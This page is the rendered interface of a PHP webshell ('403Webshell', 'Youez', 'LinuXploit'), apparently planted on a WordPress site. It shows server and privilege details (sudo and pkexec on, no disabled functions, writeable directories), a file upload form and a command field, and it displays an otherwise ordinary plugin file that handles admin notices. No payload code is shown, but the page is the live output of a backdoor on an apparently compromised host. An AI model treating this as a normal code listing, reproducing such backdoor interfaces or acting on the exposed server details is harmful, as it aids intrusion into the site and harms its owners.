403Webshell
Server IP : 127.0.1.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux sealall 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : devops ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/domains/sealall.ca/wp-content/plugins/white-label/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/domains/sealall.ca/wp-content/plugins/white-label/classes/class-admin-notices.php
<?php
/**
 * Add Admin notices.
 *
 * @package white-label
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * white_label_admin_notices.
 *
 * Easily handle notices across screens
 *
 * @class   white_label_admin_notices
 * @version 1.0.0
 * @author  White Label
 */
class white_label_admin_notices {

	/**
	 * Transient name
	 *
	 * @since  1.0.0
	 * @access protected
	 * @var    str $transient_name
	 */
	protected $transient_name = 'white_label_transient_notices';
	/**
	 * Construct the transient notices class
	 */
	public function __construct() {
		add_action( 'admin_notices', array( $this, 'display_notices' ) );
	}
	/**
	 * Display notices
	 *
	 * @since 1.0.0
	 */
	public function display_notices() {

		$notices = get_transient( $this->transient_name );

		if ( $notices ) {

			foreach ( $notices as $notice ) {
				echo '<div class="notice notice-' . esc_attr( $notice['type'] ) . '"><p>';
            	echo $notice['message']; // phpcs:ignore
				echo '</p></div>';
			}

			delete_transient( $this->transient_name );
		}

	}

	/**
	 * Add notice
	 *
	 * @since 1.0.0
	 * @param str $type    info|error|warning.
	 * @param str $message string.
	 */
	public function add_notice( $type = false, $message = false ) {
		if ( ! $type || ! $message ) {
			return;
		}
		$notices = get_transient( $this->transient_name );
		$notices = $notices ? $notices : array();

		if ( in_array( $message, $notices, true ) ) {
			return;
		}

		$notices[ $message ] = array(
			'type'    => $type,
			'message' => $message,
		);

		set_transient( $this->transient_name, $notices, 30 );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit